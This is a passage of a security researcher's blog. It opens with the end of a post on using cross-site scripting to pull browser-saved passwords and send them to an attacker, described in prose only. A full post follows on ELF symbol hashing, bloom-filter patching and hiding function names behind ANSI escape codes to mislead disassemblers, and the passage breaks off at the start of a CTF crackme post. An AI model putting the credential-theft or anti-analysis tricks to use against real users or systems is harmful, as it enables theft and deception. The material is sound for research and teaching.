<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnuokHZ31l62TPTrjtoCujwotxEVLEIlsfXnfWgrPBClHFUmUk-HTpCqwDypts1obeQ5y8mBG8LS0zEMx5X36uoF4JsDqPH5pj4byizRQ_zvg_-G1YbtgJgBBT-Vs7EGF50WEOFwVfGkk/s1600/XSSwithCredz.png" imageanchor="1"><img alt="http://bash.org/?244321=" border="0" data-original-height="330" data-original-width="571" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnuokHZ31l62TPTrjtoCujwotxEVLEIlsfXnfWgrPBClHFUmUk-HTpCqwDypts1obeQ5y8mBG8LS0zEMx5X36uoF4JsDqPH5pj4byizRQ_zvg_-G1YbtgJgBBT-Vs7EGF50WEOFwVfGkk/s1600/XSSwithCredz.png" title="http://bash.org/?244321=" /></a></div>
<br />
<br />
Attacker can now login to intranet.corp. Note that user doesn't need to be tricked to enter information in a fake form, or phished. The js code will nicely ask the browser to give him the login/pass.<br />
<br />
<h3>
3/ Best parts</h3>
You don't have any user interaction with this attack. The user doesn't have to put log and pass in a form, it just have to trigger the XSS[1] .<br />
This hasn't anything to do with cookies, so HTTPS or http_only won't help. We want the pass, we have the pass.<br />
Moar fun, the user doesn't need to be logged in! If XSS is triggered, boom, credz are for attacker.<br />
If you find a stored XSS on a site with many users, you'll raise your luck to get credz, just wait.<br />
<br />
<h3>
99/ Outro</h3>
Be nice with others, and in case you wonder, I don't use the password manager of my browser.<br />
Thanks for <a href="https://twitter.com/XeR_0x2A" target="_blank">@XeR</a> for the chat which lead to this.<br />
<div style="text-align: right;">
<i><span style="font-size: x-small;">8 times down. 9 times up!</span></i></div>
<div style="text-align: right;">
<i><span style="font-size: x-small;">0xMitsurugi</span></i></div>
<div style="text-align: right;">
<i><span style="font-size: x-small;"><br /></span></i></div>
<div style="text-align: left;">
[1] Finding the XSS is an exercise left to the reader</div>
Mitsurugihttp://www.blogger.com/profile/16733777190739911775noreply@blogger.com0tag:blogger.com,1999:blog-8227611414371590425.post-65285716950949950622018-02-20T11:31:00.001+01:002018-02-20T11:31:07.439+01:00Fun with function names. Where resolving goes wild.Last night, I was looking through C-code and ARM assembly. <br />
I was wondering myself: When a binary calls a function inside a shared lib, how the linker knows where the code resides in the library? <br />
The second question was: can we change the name of functions in a binary and in a library and that everything works after? <br />
And third: can we use some fancy characters in function names? Like changing color of the xterm when doing an objdump or gdb the binary? You know ANSI escape codes? What if we put ANSI escape code in function name?<br />
<br />
<h3>
1/ Start smoothly</h3>
My computer is currently a raspberry pi. Everything here has been tested under this architecture. It should work everywhere, but your mileage may vary.<br />
<br />
Let's take an example:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;">mitsurugi@raspi<span style="color: #333333;">:~/</span>resolv_func<span style="color: #333333;">/$ cat libpoem.h
<span style="color: #333399; font-weight: bold;">int</span> this_is_an_external_func_in_a_lib();
mitsurugi@raspi<span style="color: #333333;">:~/</span>resolv_func<span style="color: #333333;">/$ cat libpoem.c
<span style="color: #888888;">/* Compile with gcc -shared -o libpoem.so libpoem.c */</span>
<span style="color: #557799;">#include <stdio.h></span>
<span style="color: #333399; font-weight: bold;">int</span> this_is_an_external_func_in_a_lib() {
puts(<span style="background-color: #fff0f0;">"ARM disassembly"</span>); <span style="color: #888888;">//5</span>
puts(<span style="background-color: #fff0f0;">"Reading symbol resolving"</span>); <span style="color: #888888;">//7</span>
puts(<span style="background-color: #fff0f0;">"In the cold of night"</span>); <span style="color: #888888;">//5</span>
<span style="color: #008800; font-weight: bold;">return</span> <span style="color: #0000dd; font-weight: bold;">42</span>;
}
mitsurugi@raspi<span style="color: #333333;">:~/</span>resolv_func<span style="color: #333333;">/$ cat proj.c
<span style="color: #888888;">/* gcc -o proj -Wl,-rpath=. -L. -I. -l poem proj.c */</span>
<span style="color: #557799;">#include "libpoem.h"</span>
<span style="color: #333399; font-weight: bold;">int</span> main() {
<span style="color: #333399; font-weight: bold;">int</span> ret;
ret<span style="color: #333333;">=</span>this_is_an_external_func_in_a_lib();
<span style="color: #008800; font-weight: bold;">return</span> ret;
}
mitsurugi@raspi<span style="color: #333333;">:~/</span>resolv_func<span style="color: #333333;">/$
</span></span></span></span></pre>
</div>
<br />
We can compile and run this binary:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">mitsurugi@raspi:~/resolv_func/blog$</span> gcc -shared -o libpoem.so libpoem.c
<span style="color: #c65d09; font-weight: bold;">mitsurugi@raspi:~/resolv_func/blog$</span> gcc -o proj -Wl,-rpath<span style="color: #333333;">=</span>. -L. -I. -l poem proj.c
<span style="color: #c65d09; font-weight: bold;">mitsurugi@raspi:~/resolv_func/blog$</span> ldd proj
<span style="color: #888888;"> linux-vdso.so.1 (0x7efd9000)</span>
<span style="color: #888888;"> libpoem.so => ./libpoem.so (0x76f33000)</span>
<span style="color: #888888;"> libc.so.6 => /lib/arm-linux-gnueabihf/libc.so.6 (0x76e30000)</span>
<span style="color: #888888;"> /lib/ld-linux-armhf.so.3 (0x76f57000)</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@raspi:~/resolv_func/blog$</span> ./proj
<span style="color: #888888;">ARM disassembly</span>
<span style="color: #888888;">Reading symbol resolving</span>
<span style="color: #888888;">In the cold of night</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@raspi:~/resolv_func/blog$</span>
</pre>
</div>
<br />
The dynamic linker search for the lib in the current path (which is not really secure, but out of the scope of this blogpost).<br />
<br />
This binary runs fine, as expected.<br />
<br />
<h3>
2/ Symbol resolution</h3>
The question is, how does the binary knows where to look for the <i>this_is_an_external_func_in_a_lib()</i> call? It's obviously related to string comparison:<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">mitsurugi@raspi:~/resolv_func/blog$</span> strings proj libpoem.so | grep external
<span style="color: #888888;">this_is_an_external_func_in_a_lib</span>
<span style="color: #888888;">this_is_an_external_func_in_a_lib</span>
<span style="color: #888888;">this_is_an_external_func_in_a_lib</span>
<span style="color: #888888;">this_is_an_external_func_in_a_lib</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@raspi:~/resolv_func/blog$</span>
</pre>
</div>
<br />
Well, if we have the string this_is_an_external_func_in_a_lib in the binary and the library, maybe because they are associated?<br />
<br />
Proof: if you alter one of these strings, the program doesn't work anymore:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">mitsurugi@raspi:~/resolv_func/blog$</span> sed s/this_is_an_external_func_in_a_lib/AAAA_is_an_external_func_in_a_lib/g proj > proj2
<span style="color: #c65d09; font-weight: bold;">mitsurugi@raspi:~/resolv_func/blog$</span> chmod +x proj2
<span style="color: #c65d09; font-weight: bold;">mitsurugi@raspi:~/resolv_func/blog$</span> ldd proj2
<span style="color: #888888;"> linux-vdso.so.1 (0x7ed45000)</span>
<span style="color: #888888;"> libpoem.so => ./libpoem.so (0x76eed000)</span>
<span style="color: #888888;"> libc.so.6 => /lib/arm-linux-gnueabihf/libc.so.6 (0x76dea000)</span>
<span style="color: #888888;"> /lib/ld-linux-armhf.so.3 (0x76f11000)</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@raspi:~/resolv_func/blog$</span> ./proj2
<span style="color: #888888;">./proj2: symbol lookup error: ./proj2: undefined symbol: AAAA_is_an_external_func_in_a_lib</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@raspi:~/resolv_func/blog$</span>
</pre>
</div>
<br />
The same happens if you change the function in the library:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">mitsurugi@raspi:~/resolv_func/blog$</span> mv libpoem.so libpoem.so.ori
<span style="color: #c65d09; font-weight: bold;">mitsurugi@raspi:~/resolv_func/blog$</span> sed s/this_is_an_external_func_in_a_lib/AAAA_is_an_external_func_in_a_lib/g libpoem.so.ori > libpoem.so
<span style="color: #c65d09; font-weight: bold;">mitsurugi@raspi:~/resolv_func/blog$</span> chmod +x libpoem.so
<span style="color: #c65d09; font-weight: bold;">mitsurugi@raspi:~/resolv_func/blog$</span> ldd proj //this is the unaltered binary
<span style="color: #888888;"> linux-vdso.so.1 (0x7ea81000)</span>
<span style="color: #888888;"> libpoem.so => ./libpoem.so (0x76ede000)</span>
<span style="color: #888888;"> libc.so.6 => /lib/arm-linux-gnueabihf/libc.so.6 (0x76ddb000)</span>
<span style="color: #888888;"> /lib/ld-linux-armhf.so.3 (0x76f02000)</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@raspi:~/resolv_func/blog$</span> ./proj
<span style="color: #888888;">./proj: symbol lookup error: ./proj: undefined symbol: this_is_an_external_func_in_a_lib</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@raspi:~/resolv_func/blog$</span>
</pre>
</div>
<br />
Seems logic. it search a function by its name.<br />
<br />
But wait, what if we change names in BOTH? Would it work? Binary calls for <i>AAAA_is_an_external_func_in_a_lib()</i>, linker will step through all library linked, find libpoem.so, open it, read functions names, fint it and call it. Does it works?<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">mitsurugi@raspi:~/resolv_func/blog$</span> ./proj2
<span style="color: #888888;">./proj2: symbol lookup error: ./proj2: undefined symbol: AAAA_is_an_external_func_in_a_lib</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@raspi:~/resolv_func/blog$</span>
</pre>
</div>
<br />
Still a fail, although we have the same name in library and binary:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">mitsurugi@raspi:~/resolv_func/blog$</span> strings proj2 libpoem.so | grep external_func
<span style="color: #888888;">AAAA_is_an_external_func_in_a_lib</span>
<span style="color: #888888;">AAAA_is_an_external_func_in_a_lib</span>
<span style="color: #888888;">AAAA_is_an_external_func_in_a_lib</span>
<span style="color: #888888;">AAAA_is_an_external_func_in_a_lib</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@raspi:~/resolv_func/blog$</span>
</pre>
</div>
<br />
<h3>
3/ Read The Freaky Manual (If it exists...)</h3>
When you search something, you can read the manual. But in that case, it won't help because there is no manual.<br />
When you google for symbol resolution, you'll end up with a lot of blog post talking about PLT/GOT stuff. Very interesting (yes, read them, it's very valuable), but there is still magic in those blogposts. (In french: <a href="https://www.segmentationfault.fr/linux/role-plt-got-ld-so/" target="_blank">https://www.segmentationfault.fr/linux/role-plt-got-ld-so/ </a>).<br />
<br />
And how those blog posts explains how resolution is made?<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaUAZ3hBUPPW_UyTKFjbrusEeT3yWWDdcHx2SPWe6VhfBdyeao1K6svEEyQXwcI2lHB4SSui6YeaxmZm7GtEatOb8jzRY8T9rEOu2phZDaraJ-g_tnFhMTdiV3B5oaykmF8BhGjB2E2EA/s1600/magic.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="423" data-original-width="483" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaUAZ3hBUPPW_UyTKFjbrusEeT3yWWDdcHx2SPWe6VhfBdyeao1K6svEEyQXwcI2lHB4SSui6YeaxmZm7GtEatOb8jzRY8T9rEOu2phZDaraJ-g_tnFhMTdiV3B5oaykmF8BhGjB2E2EA/s1600/magic.png" /></a></div>
<br />
In the previous blogspot, it just says: "it's a long and complicated code, but in the end, you get the address". I don't like magic in computing.<br />
<br />
<h3>
4/ No magic. Just show me. </h3>
Here are the main links which could help you:<br />
<ul>
<li><a href="https://sourceware.org/ml/binutils/2006-10/msg00377.html" target="_blank">https://sourceware.org/ml/binutils/2006-10/msg00377.html </a></li>
<li><a href="https://github.com/lattera/glibc/blob/master/elf/dl-lookup.c" target="_blank">https://github.com/lattera/glibc/blob/master/elf/dl-lookup.c </a></li>
<li><a href="https://blogs.oracle.com/ali/gnu-hash-elf-sections">https://blogs.oracle.com/ali/gnu-hash-elf-sections</a></li>
</ul>
I'll try to summarize things. First, we have a hash section in ELF files:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">mitsurugi@raspi:~/resolv_func/blog$</span> readelf -x .gnu.hash libpoem.so
<span style="color: #888888;">Hex dump of section '.gnu.hash':</span>
<span style="color: #888888;"> 0x00000118 03000000 08000000 02000000 06000000 ................</span>
<span style="color: #888888;"> 0x00000128 890020b1 00c44289 08000000 0c000000 .. ...B.........</span>
<span style="color: #888888;"> 0x00000138 0f000000 00af34e8 4245d5ec dea1eacc ......4.BE......</span>
<span style="color: #888888;"> 0x00000148 bbe3927c beda571b d871581c b98df10e ...|..W..qX.....</span>
<span style="color: #888888;"> 0x00000158 76543c94 ead3ef0e 59ef9779 vT<.....Y..y</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@raspi:~/resolv_func/blog$</span>
</pre>
</div>
<br />
This sections contains a header, bloom filters, and hashes. Libc developers wants to run binary fast. When you solve symbols, you have to step through each symbols and make a strcmp. This is slow. Developers add lots of improvements. <br />
<br />
I wrote a parser of .gnu.hash sections (values are displayed both in little and big endian):<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">mitsurugi@raspi:~/resolv_func/blog$</span> ./hashparse.py libpoem.so
<span style="color: #888888;">*** Get GNU HASH section for libpoem.so</span>
<span style="color: #888888;">[+] Ok, one line. Good</span>
<span style="color: #888888;">[+] GNU HASH mapping fits perfectly disk and memory layout</span>
<span style="color: #888888;"> starting at 0x00000118</span>
<span style="color: #888888;"> and size is 0x00004c long</span>
<span style="color: #888888;">*** Extracting .gnu.hash</span>
<span style="color: #888888;">*** Parsing...</span>
<span style="color: #888888;">[+] Header</span>
<span style="color: #888888;">3 hash buckets //we'll use this number later</span>
<span style="color: #888888;">8 symndx</span>
<span style="color: #888888;">2 bloom masks</span>
<span style="color: #888888;">6 bloomshift (minimum 6)</span>
<span style="color: #888888;">[+] Part 2 - bloom masks</span>
<span style="color: #888888;"> Mask 0 : 0xb1200089L | 0x890020b1L</span>
<span style="color: #888888;"> Mask 1 : 0x8942c400L | 0xc44289</span>
<span style="color: #888888;">[+] Part 3 - N Buckets of hash</span>
<span style="color: #888888;"> Bucket 0 : 0x8 | 0x8000000</span>
<span style="color: #888888;"> Bucket 1 : 0xc | 0xc000000</span>
<span style="color: #888888;"> Bucket 2 : 0xf | 0xf000000</span>
<span style="color: #888888;">[+] Part 4 - Hashes</span>
<span style="color: #888888;"> Hash 0 : 0xe834af00L | 0xaf34e8</span>
<span style="color: #888888;"> Hash 1 : 0xecd54542L | 0x4245d5ec</span>
<span style="color: #888888;"> Hash 2 : 0xcceaa1deL | 0xdea1eaccL //pay attention to this hash</span>
<span style="color: #888888;"> Hash 3 : 0x7c92e3bb | 0xbbe3927cL</span>
<span style="color: #888888;"> Hash 4 : 0x1b57dabe | 0xbeda571bL</span>
<span style="color: #888888;"> Hash 5 : 0x1c5871d8 | 0xd871581cL</span>
<span style="color: #888888;"> Hash 6 : 0xef18db9 | 0xb98df10eL</span>
<span style="color: #888888;"> Hash 7 : 0x943c5476L | 0x76543c94</span>
<span style="color: #888888;"> Hash 8 : 0xeefd3ea | 0xead3ef0eL</span>
<span style="color: #888888;"> Hash 9 : 0x7997ef59 | 0x59ef9779</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@raspi:~/resolv_func/blog$</span>
</pre>
</div>
<br />
<h4>
4/1/ First speedup: Hash table.</h4>
For quickly find object in a list, use hashtable. Hashtable are a convenient way to sort and find items in a list. The hash function used in the resolver is the djbx33a one:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #008800; font-weight: bold;">static</span> <span style="color: #333399; font-weight: bold;">uint_fast32_t</span>
<span style="color: #0066bb; font-weight: bold;">dl_new_hash</span> (<span style="color: #008800; font-weight: bold;">const</span> <span style="color: #333399; font-weight: bold;">char</span> <span style="color: #333333;">*</span>s)
{
<span style="color: #333399; font-weight: bold;">uint_fast32_t</span> h <span style="color: #333333;">=</span> <span style="color: #0000dd; font-weight: bold;">5381</span>;
<span style="color: #008800; font-weight: bold;">for</span> (<span style="color: #333399; font-weight: bold;">unsigned</span> <span style="color: #333399; font-weight: bold;">char</span> c <span style="color: #333333;">=</span> <span style="color: #333333;">*</span>s; c <span style="color: #333333;">!=</span> <span style="color: #0044dd;">'\0'</span>; c <span style="color: #333333;">=</span> <span style="color: #333333;">*++</span>s)
h <span style="color: #333333;">=</span> h <span style="color: #333333;">*</span> <span style="color: #0000dd; font-weight: bold;">33</span> <span style="color: #333333;">+</span> c;
<span style="color: #008800; font-weight: bold;">return</span> h <span style="color: #333333;">&</span> <span style="color: #005588; font-weight: bold;">0xffffffff</span>;
}
</pre>
</div>
<br />
We can calculate easily the hash of our function:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">mitsurugi@raspi:~/resolv_func/blog$</span> ./dl_new_hash.py this_is_an_external_func_in_a_lib
<span style="color: #888888;">[+] Calculating hash for this_is_an_external_func_in_a_lib</span>
<span style="color: #888888;">Output is 0xCCEAA1DF</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@raspi:~/resolv_func/blog$</span>
</pre>
</div>
<br />
We can find our hash in the .gnu.hash section: 0xcceaa1de (minus the lower bit, but it's nonsignificant when solver compares hashes, although I spent too much time on this detail).<br />
<br />
So, if you change the name of the function and its associated hash, it should work? No, not so easily. This is an hash table, you have to get the same bucket. Long story short, your (new_hash % nbuckets) should be equal to (old_hash % nbuckets). nbuckets equals 3 in this library. Let's work with this number:<br />
<ul>
<li>this_is_an_external_func_in_a_lib : hash(func)%3 = 0xCCEAA1DF%3 = 0</li>
<li>AAAA_is_an_external_func_in_a_lib : hash(func)%3 = 0xEEA9C6CB%3 = 1 -> Not the same bucket, won't work</li>
<li>BAAA_is_an_external_func_in_a_lib : hash(func)%3 = 0xFFE18ACC%3 = 0 -> Good.</li>
</ul>
<br />
So, we change name of the functions, and change hash with 0xFFE18ACC. Will it work? Still not, one last change to do.<br />
<br />
<h4>
4/2/ Second speedup added: Bloom filter</h4>
Using hashes is a big speedup, but libc maintenairs adds another big boost: bloom filter. The goal of this is to quickly reject unknown symbols. This bloom filter is made of another hash, and is used as a fast rejection process. If bloom filter fails, the symbol is not in the file. If bloom filter pass, it maybe or maybe not in the file. Apparently, this causes a huge speedup in symbol resolution. That's clever, but I have to change my fnction name.<br />
<br />
If you want to bypass this bloom filter, you can recalculate it. Or you can put all bits to 1 which means: always pass. I'm not a programmer, I want things to work the way I want. So let put all bits to 1, and don't try to recalculate anything. <br />
<br />
And after the bloom filter change, it will works, because the linker will say:<br />
<ul>
<li>does it pass the bloom filter? Yes</li>
<li>does it have an hash? Yes</li>
<li>-n the hash bucket, does a function with the same name exists? Yes</li>
<li>--> Symbol resolution is done, code is here, work your way.</li>
</ul>
<h4>
4/3/ First win:</h4>
We have to change function name: Easy, we use <i>BAAA_is_an_external_func_in_a_lib</i><br />
We have to break bloom filter: Easy, put all bits to 1<br />
We have to change hash value: Easy, just take care of the bucket.<br />
<br />
After an hexediting (All bytes have been changed by hand):<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">mitsurugi@raspi:~/resolv_func/blog$</span> readelf -x .gnu.hash libpoem.so
<span style="color: #888888;">Hex dump of section '.gnu.hash':</span>
<span style="color: #888888;"> 0x00000118 03000000 08000000 02000000 06000000 ................</span>
<span style="color: #888888;"> 0x00000128 ffffffff ffffffff 08000000 0c000000 ................</span>
<span style="color: #888888;"> 0x00000138 0f000000 00af34e8 4245d5ec cc8ae1ff ......4.BE......</span>
<span style="color: #888888;"> 0x00000148 bbe3927c beda571b d871581c b98df10e ...|..W..qX.....</span>
<span style="color: #888888;"> 0x00000158 76543c94 ead3ef0e 59ef9779 vT<.....Y..y</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@raspi:~/resolv_func/blog$</span>
</pre>
</div>
<br />
Look bloom filter (all bits are 1), and hash change. <br />
And now, it works like a charm!<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">mitsurugi@raspi:~/resolv_func/blog$</span> ./proj2
<span style="color: #888888;">ARM disassembly</span>
<span style="color: #888888;">Reading symbol resolving</span>
<span style="color: #888888;">In the cold of night</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@raspi:~/resolv_func/blog$</span> gdb -q proj2
<span style="color: #888888;">Reading symbols from proj2...(no debugging symbols found)...done.</span>
<span style="color: #888888;">gdb$ disass main</span>
<span style="color: #888888;">Dump of assembler code for function main:</span>
<span style="color: #888888;"> 0x000006ac <+0>: push {r7, lr}</span>
<span style="color: #888888;"> 0x000006ae <+2>: sub sp, #8</span>
<span style="color: #888888;"> 0x000006b0 <+4>: add r7, sp, #0</span>
<span style="color: #888888;"> 0x000006b2 <+6>: blx 0x584 <BAAA_is_an_external_func_in_a_lib@plt></span>
<span style="color: #888888;"> 0x000006b6 <+10>: str r0, [r7, #4]</span>
<span style="color: #888888;"> 0x000006b8 <+12>: ldr r3, [r7, #4]</span>
<span style="color: #888888;"> 0x000006ba <+14>: mov r0, r3</span>
<span style="color: #888888;"> 0x000006bc <+16>: adds r7, #8</span>
<span style="color: #888888;"> 0x000006be <+18>: mov sp, r7</span>
<span style="color: #888888;"> 0x000006c0 <+20>: pop {r7, pc}</span>
<span style="color: #888888;">End of assembler dump.</span>
<span style="color: #888888;">gdb$</span>
</pre>
</div>
<br />
As you can see, I'm calling the function BAAA_is_an_external_func_in_a_lib(), and it works.<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">mitsurugi@raspi:~/resolv_func/blog$</span> strings proj2 libpoem.so | grep BAAA
<span style="color: #888888;">BAAA_is_an_external_func_in_a_lib</span>
<span style="color: #888888;">BAAA_is_an_external_func_in_a_lib</span>
<span style="color: #888888;">BAAA_is_an_external_func_in_a_lib</span>
<span style="color: #888888;">BAAA_is_an_external_func_in_a_lib</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@raspi:~/resolv_func/blog$</span>
</pre>
</div>
<br />
We know how to change a function name inside a binary and its lib without breaking anything!<br />
<br />
<h3>
5/ Now the fun part!</h3>
Ok, let's write a quick python patcher, called, patch.py<br />
You can use anything in the range \x01-\xff for function name. Changing a character in a function is not fun. We can be good boyz (or girlz) and use internationalization. Write UTF-8, and be happy with it. But do you know that your xterm interprets escape sequence? \e]34; will print everything in black. Let write black on black and confuse reversers.<br />
<br />
<h4>
5/1/ Fun with ANSI escape code</h4>
we can use a function containing ansi escape code. Ansi escape code can be used to send BEEP, blink characters, change xterm name, change colors, and so on. Here is the fun part, where we change the xterm title when printing the function:<br />
<blockquote class="twitter-tweet" data-lang="fr">
<div dir="ltr" lang="en">
Little known fact: An evil binary can rename your xterm while begin debugged. Blogpost incoming. <br />Hours of fun: disassembly printed black on black, different functions with same name, and so on. <a href="https://t.co/xVTV1ojuWS">pic.twitter.com/xVTV1ojuWS</a></div>
— Mitsurugi Heishiro (@0xmitsurugi) <a href="https://twitter.com/0xmitsurugi/status/964434017121521665?ref_src=twsrc%5Etfw">16 février 2018</a></blockquote>
<script async="" charset="utf-8" src="https://platform.twitter.com/widgets.js"></script>
<br />
Fun, but can we do better? Ansi escape code can go backward.<br />
So, we can overwrite function name:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #888888;">Reading symbols from crack...(no debugging symbols found)...done.</span>
<span style="color: #888888;">(gdb) disass main</span>
<span style="color: #888888;">Dump of assembler code for function main:</span>
<span style="color: #888888;"> 0x00000688 <+0>: push {r7, lr}</span>
<span style="color: #888888;"> 0x0000068a <+2>: add r7, sp, #0</span>
<span style="color: #888888;"> 0x0000068c <+4>: blx 0x53c <calling@plt></span>
<span style="color: #888888;"> 0x00000690 <+8>: movs r3, #0</span>
<span style="color: #888888;"> 0x00000692 <+10>: mov r0, r3</span>
<span style="color: #888888;"> 0x00000694 <+12>: pop {r7, pc}</span>
<span style="color: #888888;">End of assembler dump.</span>
<span style="color: #888888;">(gdb) q</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@raspi:~/resolv_func/blog$</span>
<span style="color: #888888;">and, the library says:</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@raspi:~/resolv_func/blog$</span> nm libcrack.so | grep <span style="background-color: #fff0f0;">' T '</span>
<span style="color: #888888;">000004fc T calling</span>
<span style="color: #888888;">0000050a T calling</span>
<span style="color: #888888;">00000518 T calling</span>
<span style="color: #888888;">00000528 T _fini</span>
<span style="color: #888888;">000003fc T _init</span>
<span style="color: #c65d09; font-weight: bold;">mitsurugi@raspi:~/resolv_func/blog$</span>
</pre>
</div>
<br />
Three functions with the same name?!?! Which one is the good one? You can spend a lot of time in this crackme with static analysis only. <br />
<br />
Those fuctions are different. Their name is <i>A\x1b[1Dcalling</i>, <i>B\x1b[1Dcalling</i> and <i>C\x1b[1Dcalling</i>. The \x1b[1D is the sequence backward of 1 char, so it overwrites the first char.<br />
<br />
<h4>
5/2/ Fun with IDA</h4>
You can play with IDA. IDA doesn't recognize characters and replace them with _. How in the world would you debug a binary<br />
calling functions ____() and ____() and ____() which are different? <br />
I think there is a lot of improvements here, I'll try to make another blogpost with funny sequences.<br />
<br />
<br />
<h3>
6/ The End</h3>
I think this blogpost is waaaaay too long, so I'll finish it here. Code will be posted to github, it's just a python script which patch address in binary.<br />
<span style="font-size: x-small;"><i><br /></i></span>
<div style="text-align: right;">
<span style="font-size: x-small;"><i>Today not possible. Tomorrow possible.<br />0xMitsurugi</i></span></div>
Mitsurugihttp://www.blogger.com/profile/16733777190739911775noreply@blogger.com0tag:blogger.com,1999:blog-8227611414371590425.post-27440782997112572342018-01-30T14:01:00.000+01:002018-01-30T14:54:40.006+01:00Solving a CTF chall the [academic|hardest] way (FIC2018)My previous articles on solving a crackme has gained some attention, so I'm doing the next one (and the last, I promise). This time, I'll explain how to solve a crackme based on a VM. There is a lot more of asm than previous solutions :-)<br />
<br />
<ol>
<li><a href="http://0x90909090.blogspot.fr/2018/01/solving-ctf-chall-easylazy-way-fic2018.html">http://0x90909090.blogspot.fr/2018/01/solving-ctf-chall-easylazy-way-fic2018.html</a></li>
<li><a href="http://0x90909090.blogspot.fr/2018/01/solving-ctf-chall-hardgood-way-fic2018.html">http://0x90909090.blogspot.fr/2018/01/solving-ctf-chall-hardgood-way-fic2018.html</a></li>
<li><a href="http://0x90909090.blogspot.fr/2018/01/solving-ctf-chall-crazyomg-way-fic2018.html">http://0x90909090.blogspot.fr/2018/01/solving-ctf-chall-crazyomg-way-fic2018.html</a></li>
</ol>
<div>
This is a more academic blogpost where I'll try to explain how to understand the logic behind the VM and the crackme.</div>
<div>
<br /></div>
<h3>
1/ A bit of technic first.</h3>
<br />
<div>
